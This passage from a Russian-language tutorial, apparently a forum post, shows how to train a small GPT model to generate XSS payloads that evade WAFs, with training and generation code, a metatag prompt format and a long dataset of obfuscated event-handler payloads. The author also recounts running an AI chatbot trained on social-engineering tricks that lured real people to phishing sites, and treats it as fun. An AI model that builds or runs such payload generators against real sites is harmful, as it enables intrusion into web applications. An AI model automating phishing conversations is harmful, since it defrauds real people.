t0 = time.time()

while iter_num < MAX_ITERS:
    lr = get_lr(iter_num) if DECAY_LR else LEARNING_RATE
    for param_group in optimizer.param_groups:
        param_group["lr"] = lr

    if iter_num % EVAL_INTERVAL == 0:
        losses = estimate_loss()
        print(f"step {iter_num}: train loss {losses['train']:.4f}, val loss {losses['val']:.4f}")
      
        if losses["val"] < best_val_loss:
            best_val_loss = losses["val"]
            checkpoint = {
                "model": model.state_dict(),
                "config": config,
                "stoi": stoi,
                "itos": itos,
                "iter_num": iter_num,
                "val_loss": losses["val"],
            }
            torch.save(checkpoint, os.path.join(OUT_DIR, "best.pt"))
            print(f"Saved best model")
  
    # Один шаг обучения (без gradient accumulation для простоты)
    X, Y = get_batch("train", BATCH_SIZE, BLOCK_SIZE)
    _, loss = model(X, Y)
    loss.backward()
    torch.nn.utils.clip_grad_norm_(model.parameters(), GRAD_CLIP)
    optimizer.step()
    optimizer.zero_grad(set_to_none=True)
  
    if iter_num % LOG_INTERVAL == 0 and iter_num > 0:
        t1 = time.time()
        dt = t1 - t0
        t0 = t1
        print(f"iter {iter_num}: loss {loss.item():.4f}, time {dt*1000:.2f}ms")
  
    iter_num += 1

print(f"Training finished. Best val loss: {best_val_loss:.4f}")

2.4. test.py — генерация ответов​

Этот скрипт загружает обученную модель и генерирует пэйлоады по заданному контексту.

Загрузка модели​

Python:
checkpoint = torch.load(CHECKPOINT_PATH, map_location=device, weights_only=False)
config = checkpoint["config"]
stoi = checkpoint["stoi"]
itos = checkpoint["itos"]

model = GPT(config)
model.load_state_dict(checkpoint["model"])
model.to(device)
model.eval()

weights_only=False нужно для PyTorch 2.6+, потому что чекпоинт содержит не только веса, но и Python-объекты (stoi, itos).

Функция generate​

Python:
def generate(prompt, max_tokens=MAX_NEW_TOKENS, temperature=TEMPERATURE, top_k=TOP_K):
    input_ids = torch.tensor([encode(prompt)], dtype=torch.long, device=device)
    # ... генерация токенов ...
    return prompt + decode(context[0, input_ids.size(1):].tolist())

Она получает на вход строку-промпт и генерирует продолжение, пока не встретит перенос строки или не достигнет лимита.

Тестовые промпты​

Python:
test_prompts = [
    "[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]",
    "[WAF:script,alert|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]",
    "[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]",
    # ...
]

Для каждого промпта модель генерирует пэйлоад. Подробнее о том, почему в коде test.py тестовые промпты именно такие расскажу далее.

Спойлер: test.py
Code:
import torch
import re
from model import GPTConfig, GPT

CHECKPOINT_PATH = "out/best.pt"
MAX_NEW_TOKENS = 200
TEMPERATURE = 0.8
TOP_K = 50

if torch.cuda.is_available():
    device = "cuda"
elif torch.backends.mps.is_available():
    device = "mps"
else:
    device = "cpu"

print(f"Loading model from {CHECKPOINT_PATH}")
checkpoint = torch.load(CHECKPOINT_PATH, map_location=device, weights_only=False)
config = checkpoint["config"]
stoi = checkpoint["stoi"]
itos = checkpoint["itos"]

model = GPT(config)
model.load_state_dict(checkpoint["model"])
model.to(device)
model.eval()
print(f"Model loaded")

def encode(text):
    return [stoi.get(ch, stoi.get("?", 0)) for ch in text]

def decode(ids):
    return "".join([itos[i] for i in ids])

def generate(prompt, max_tokens=MAX_NEW_TOKENS, temperature=TEMPERATURE, top_k=TOP_K):
    """Генерирует продолжение промпта"""
    input_ids = torch.tensor([encode(prompt)], dtype=torch.long, device=device)
  
    if input_ids.size(1) > config.block_size:
        input_ids = input_ids[:, -config.block_size:]
  
    context = input_ids
  
    with torch.no_grad():
        for _ in range(max_tokens):
            if context.size(1) > config.block_size:
                context = context[:, -config.block_size:]
          
            logits, _ = model(context)
            logits = logits[:, -1, :] / temperature
            if top_k is not None:
                v, _ = torch.topk(logits, min(top_k, logits.size(-1)))
                logits[logits < v[:, [-1]]] = float('-inf')
          
            probs = torch.nn.functional.softmax(logits, dim=-1)
            next_token = torch.multinomial(probs, num_samples=1)
            context = torch.cat((context, next_token), dim=1)
            token_id = next_token[0, 0].item()
            char = decode([token_id])
          
            if char == '\n':
                break
  
    return prompt + decode(context[0, input_ids.size(1):].tolist())

# ========== ТЕСТЫ ==========
print("\n" + "="*60)
print("XSS PAYLOAD GENERATION BY CONTEXT")
print("Даём модели мета-теги, она генерирует пэйлоад")
print("="*60)

test_prompts = [
    "[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]",
    "[WAF:script,alert|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]",
    "[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]",
    "[WAF:onerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]",
    "[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]",
    "[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]",
]

for prompt in test_prompts:
    print(f"\nContext: {prompt}")
    result = generate(prompt)
    # Убираем сам промпт из вывода
    payload = result[len(prompt):]
    print(f"Payload: {payload}")

print("\n" + "="*60)
print("Done")

2.5. Порядок запуска​

# 1. Подготовка датасета (один раз)
python prepare.py

# 2. Обучение (от нескольких минут до часа)
python train.py

# 3. Генерация пэйлоадов
python test.py

Глава 3. Датасет и промпты: как научить модель говорить то, что нужно​

В прошлой главе мы написали код, который умеет загружать данные, обучать модель и генерировать текст. Но есть одна проблема: код — это только половина дела. Даже самая идеальная архитектура нейросети бесполезна, если она обучена на мусоре.
В этой главе мы разберём, как собрать датасет, что такое промпты и почему правильный формат данных важнее, чем количество слоёв в нейросети.

3.1. Что такое промпт простыми словами​

Промпт (от англ. prompt — подсказка) — это то, что вы подаёте модели на вход, чтобы она поняла, чего вы от неё хотите.

В классическом понимании промпт — это вопрос или инструкция для LLM вроде ChatGPT. Вы пишете: «Напиши стих про кота», а модель генерирует стих. Промпт задаёт контекст и направление мысли.
В нашей задаче с генерацией XSS-пэйлоадов промпт — это не вопрос на естественном языке. Это мета-тег, который описывает условия, в которых будет использоваться пэйлоад.

Пример промпта из нашего датасета:
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]
Модель видит эту строку и понимает: «Ага, WAF блокирует слова script и alert, я должен вставить пэйлоад в поле search, контекст выполнения — HTML-атрибут, кодировка UTF-8. Сейчас я сгенерирую подходящий пэйлоад».

После этого модель дописывает:
"><img src=x onerror=confirm(1)>

И получается полная строка:
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onerror=confirm(1)>

Почему мы не используем промпты на русском или английском?
Потому что наша модель маленькая (6 млн параметров). Она не понимает естественный язык так, как это делает GPT-4. Ей нужен чёткий, структурированный, короткий формат. Чем меньше «шума» в промпте, тем легче модели выучить зависимость между контекстом и пэйлоадом.
В целом можно было бы увеличить размер модели и сделать формат промптов под диалог, но не вижу в этом смысла.
Хотя был случай, когда мне необходимо было реализовать диалогового чат-бота для автоматизации СИ в одной схеме, там я использовал промпты в формате:
[USER] Привет!
[AGENT] Привет, как дела?
И все это было прикручено к тг боту, который, в свою очередь, был подключен через бизнес мод к аккаунту. А нейросеть была обучена на текстовом датасете с СИ уловками. В конечном итоге я мог обрабатывать большое количество реальных людей в автоматизированом формате и заводить их на фиш сайты. Веселое было время.

3.2. Почему промпты — это тоже данные, которые нужно учитывать​

Многие думают, что промпт — это просто инструкция, которую модель «понимает» благодаря магии ИИ. На самом деле модель не понимает ровно ничего. Она просто видела тысячи похожих промптов в обучающем датасете и запомнила, какое продолжение за ними обычно следует.
То есть промпт — это такая же последовательность символов, как и пэйлоад. И модель учится предсказывать символы после промпта точно так же, как она учится предсказывать следующий символ в слове Hello.

Если в датасете после [WAF:script,alert|FIELD:search] всегда идёт "><img src=x onerror=confirm(1)>, модель это запомнит. Если после [WAF:onerror|FIELD:avatar|CONTEXT:url] всегда идёт javascript:alert(1), она запомнит и это.
Таким образом, промпт — это просто начало последовательности. А задача модели — дописать её правдоподобное продолжение.

3.3. Структура нашего промпта (мета-тег)​

В нашем датасете промпт — это мета-тег с четырьмя параметрами:
[WAF:значение|FIELD:значение|CONTEXT:значение|ENCODING:значение]

Разберём каждый параметр.

WAF — что блокирует защита​

Здесь перечисляются ключевые слова, которые WAF (Web Application Firewall) пытается обнаружить и заблокировать. Например:
  • script,alert — WAF ищет тег <script> и функцию alert()
  • onerror — WAF блокирует атрибут onerror
  • (),script,onerror — WAF ищет скобки, тег script и onerror

Зная, что блокирует WAF, модель может подобрать обходные пути:
  • Если блокируют alert, можно использовать confirm или prompt
  • Если блокируют script, можно использовать img с onerror
  • Если блокируют скобки, можно использовать шаблонные строки или кодирование

​

FIELD — куда вставляется пэйлоад​

Параметр FIELD указывает, в каком параметре запроса или поле ввода находится уязвимое место:
  • search — поле поиска
  • username — поле имени пользователя
  • comment — поле комментария
  • avatar — аватар (URL)
  • api — параметр API-запроса
  • id — числовой идентификатор
Разные поля могут иметь разные ограничения по длине, допустимым символам и контексту отображения. Модель должна это учитывать.

CONTEXT — где выполняется пэйлоад​

Это самый важный параметр. Он определяет, в каком контексте браузер будет интерпретировать вставленный код:
  • html_attr — внутри HTML-атрибута (например, value="ПЭЙЛОАД"). Нужно закрыть кавычки и атрибут
  • html_attr_single — внутри HTML-атрибута в одинарных кавычках
  • html_attr_none — внутри HTML-атрибута без кавычек
  • js — внутри JavaScript-кода
  • js_template — внутри шаблонной строки JavaScript
  • url — внутри URL (например, в параметре редиректа)
  • json — внутри JSON-строки
  • css — внутри CSS
  • html — просто внутри HTML-кода

Примеры для разных контекстов:
CONTEXTПэйлоадhtml_attr"><img src=x onerror=alert(1)>js'; alert(1); //urljavascript:alert(1)json\", \"error\": \"<img src=x onerror=alert(1)>\", \"foo\":\"

​

ENCODING — кодировка пэйлоада​

Параметр указывает, в какой кодировке нужно передать пэйлоад, чтобы обойти фильтрацию:
  • utf8 — обычный текст
  • url — URL-кодирование (%3Cscript%3E)
  • hex — шестнадцатеричное кодирование (\x3c\x73\x63\x72\x69\x70\x74\x3e)
  • unicode — Unicode-экранирование (\u003cscript\u003e)
  • base64 — Base64
  • double_url — двойное URL-кодирование (%253Cscript%253E)
Чем больше кодировок видела модель во время обучения, тем лучше она сможет генерировать закодированные пэйлоады для обхода WAF.

3.4. Как выглядит полный пример датасета​

Каждая строка в train.txt — это полный пример, состоящий из мета-тега и самого пэйлоада:
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onerror=confirm(1)>
[WAF:script,alert|FIELD:username|CONTEXT:js|ENCODING:utf8]'; alert(1); //
[WAF:onerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javascript:alert(1)
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<img src=x onerror=alert(1)>", "foo":"
Почему мы используем именно такой формат?
  1. Всё в одной строке — модели легче учить паттерны, когда нет лишних переводов строк
  2. Мета-тег в начале — модель сразу видит контекст перед тем, как генерировать пэйлоад
  3. Структура мета-тега единообразна — [WAF:...|FIELD:...|CONTEXT:...|ENCODING:...]
  4. Никакого естественного языка — только то, что действительно нужно модели

3.5. Почему мы не используем ChatGPT и промпты на русском​

Вы могли заметить, что мы не пишем промпты вроде:
Сгенерируй XSS-пэйлоад для поля search, где WAF блокирует script и alert

На то есть несколько причин.

Причина 1. Размер модели​

Наша модель имеет размер 6 с лишним миллионов параметров. Для сравнения, GPT-3 — 175 миллиардов. На 26 миллионах параметров не выучить грамматику русского языка, синтаксис HTML, логику работы WAF и при этом ещё генерировать пэйлоады. Слишком много задач на одну маленькую сеть.

Причина 2. Шум​

Естественный язык полон бесполезных слов. Фраза «Сгенерируй XSS-пэйлоад для поля search» содержит много символов, которые не влияют на результат. Модель будет тратить память на запоминание этих слов, а не на полезные паттерны.

Причина 3. Точность​

В мета-теге каждый символ важен. CONTEXT:js означает одно, а CONTEXT:html_attr — совершенно другое. В естественном языке легко допустить неоднозначность. «Вставь пэйлоад в JS» — а в какой именно JS? В атрибуте onclick? В теге <script>? В обработчике события?
Мета-тег даёт однозначное, машинно-читаемое описание контекста.

3.6. Как собирать датасет​

Самый простой способ — взять готовые базы XSS-пэйлоадов из открытых источников:
  • PayloadsAllTheThings на GitHub
  • XSS Payloads от PortSwigger
  • Exploit-DB (раздел Web Applications)
  • Собственные архивы с пентестов
Дальше нужно вручную или полуавтоматически разметить каждый пэйлоад мета-тегом. Для этого нужно понимать:
  • В каком контексте этот пэйлоад сработает
  • Какие ключевые слова могут заблокировать WAF
  • В какой кодировке он передан
Чем больше разнообразия в датасете, тем лучше модель будет генерализовать. Если вы хотите, чтобы модель умела обходить конкретный WAF (например, ModSecurity с CRS), добавьте в датасет пэйлоады, которые реально работают против него.
Минимальный размер датасета для демонстрации — 100-200 строк. Для реального использования нужно 5000-10000 строк.
В случае с моим личным инструментом, я составлял датасет в течении 1,5 недели (туда входили и пайлоады из публичных баз, и пайлоады из моей личной практики). Для проекта из этой статьи я просто пошел в DeepSeek, расписал ему формат промптов и попросил составить датасет, повторил это раза 3-4.

Спойлер: Датасет
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><img src=x onerror=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><iMG src=x onerror=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><img src=x OnERror=cOnfIRm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><iMg Src=x oneRrOr=CONFiRM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><img src=x OnErrOR=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"> <img src = x onerror = confirm ( 1 ) >

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><Img src=x oneRroR=ConFIRM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><Img src=x oneRror=cOnfirM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><svg onload=prompt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><svg onloaD=prompt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><sVg ONLOaD=ProMPt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><svg OnlOaD=PRompt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><SVg onload=prompt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"> <svg onload = prompt ( 1 ) >

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><SVG onloaD=promPT(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><Svg ONlOaD=promPt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><body onpageshow=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><body onpageshow=coNFIRM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]'><body onpageshow=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><bODY onpageshow=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><BOdy onpageshow=confiRM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><boDY OnpAgesHoW=confirM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"> <body onpageshow = confirm ( 1 ) >

[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]"><body OnpaGeshow=cONfirM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><img src=x onerror=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><iMg SRc=x oNERrOr=confirM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'> <img src = x onerror = confirm ( 1 ) >

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><iMg src=x onerror=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><img src=x OnErROR=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><iMg Src=x ONeRROr=coNfiRm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><img src=x oNERrOR=ConFIRM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><img src=x oNError=ConfiRM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><svg onload=prompt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'> <svg onload = prompt ( 1 ) >

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><svG onload=prompt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><SVG OnLOAD=pROmpt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><svg oNLoAd=PROMpt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><SvG oNloaD=pRompt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><svg onLoaD=prompt(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><svg OnlOaD=pRoMpT(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><body onpageshow=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><body onpageshow=CoNfIRm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'>    <body    onpageshow    =    confirm    (    1    )    >  

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><boDY onpageshow=confirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><bODy onpageshow=COnfirM(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]'><bOdy onpagesHoW=COnfirm(1)>

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] autofocus onfocus=prompt(1) foo=

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] AutofocUs onfocus=PrOMpT(1) FOo=

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] autofoCus ONFocus=proMPt(1) foo=

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] autofocus OnFOCUS=prompt(1) foo=

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] autofocus onfocus=PRomPT(1) foo=

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8]

autofocus

onfocus

=

prompt

(

1

)



foo

=



[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] autofocus onfocus=PRoMPT(1) foo=

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] onmouseover=confirm(1) x=

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] OnmOusEover=CONfiRm(1) X=

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] onmouseover = confirm ( 1 )  x =

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] onmouseover=COnfiRM(1) x=

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] OnmouseOveR=confirm(1) x=

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] ONMoUseovEr=cOnfirm(1) X=

[WAF:script,alert|FIELD:search|CONTEXT:html_attr_none|ENCODING:utf8] onmouseover=COnfiRm(1) x=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onfocus=alert(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNfoCUs=ALert(1) aUtofocUs="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onfocus=AlErt(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onfocus = alert ( 1 )  autofocus = "

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" ONFOCuS=alert(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNfOcus=alert(1) autoFOcUs="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onfocus=aLeRT(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]' onfocus=alert(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onblur=alert(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onbLUr=alert(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8] onblur=alert(1) autofocus=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onblur=aLErT(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onbLuR=aLeRT(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]"    onblur    =    alert    (    1    )        autofocus    =    "

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onblur=AlerT(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNbluR=aLert(1) AutofoCus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onchange=alert(1) value="a

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onchange=alERt(1) value="a

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onchange=aLeRt(1) value="a

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]"    onchange    =    alert    (    1    )        value    =    "a

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNChAnGE=aLeRT(1) value="a

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" OncHANge=alert(1) value="a

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNchanGe=ALeRT(1) vaLUe="A

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onselect=alert(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8] onselect=alert(1) autofocus=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onselect = alert ( 1 )  autofocus = "

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onselect=alerT(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onSelecT=aLert(1) AutofOcUS="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onselect=aLErT(1) autofocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsElEct=aLeRT(1) aUtOfocus="

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsubmit=alert(1)

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]' onsubmit=alert(1)

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsubMit=aLert(1)

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" ONsUBmiT=alert(1)

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" oNSuBmit=alerT(1)

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsubmit=alErT(1)

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsubmit=AlErt(1)

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onsubmit = alert ( 1 )

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onfocus=alert(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' ONfocUS=alert(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onfocus = alert ( 1 )  autofocus = '

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onFOcuS=ALERt(1) autofOcuS='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onfocus=aLERT(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onfocus=ALERT(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' oNfocus=alErt(1) autOfoCuS='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeydown=alert(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' oNkeydown=aLert(1) autofoCuS='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onKeYdown=alERT(1) aUtofocuS='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]'    onkeydown    =    alert    (    1    )        autofocus    =    '

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeydown=alERT(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeydown=AlErt(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' OnKeYdown=alert(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeyup=alert(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeyup = alert ( 1 )  autofocus = '

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeyuP=aLErt(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeyup=aLErT(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onkeyup=ALeRt(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' oNkeYUp=alert(1) autofocus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' OnKEyUP=aLert(1) autOfOCus='

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onkeypress=alert(1) foo=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] OnkEyPresS=alert(1) foo=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onkeypress=ALERT(1) foo=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8]    onkeypress    =    alert    (    1    )        foo    =  

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] ONKeypress=AlERt(1) foo=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] OnKeYpresS=aLerT(1) fOo=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onkeypress=aLERT(1) foo=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onclick=alert(1) bar=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] oNClIcK=alert(1) bar=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onclick=AlERT(1) bar=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onCLick=AlerT(1) baR=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onclick=ALeRt(1) bar=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] oNCLick=ALert(1) bar=

[WAF:script,onerror|FIELD:username|CONTEXT:html_attr_none|ENCODING:utf8] onclick = alert ( 1 )  bar =

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondblclick=prompt(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondblclick=PROMPT(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" ondblclick=PrOMPt(1) autofocus="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]"    ondblclick    =    prompt    (    1    )        autofocus    =    "

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" onDblclIcK=prompT(1) autofoCUS="

[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oNdBlClick=prOmPT(1) autoFOCUs="

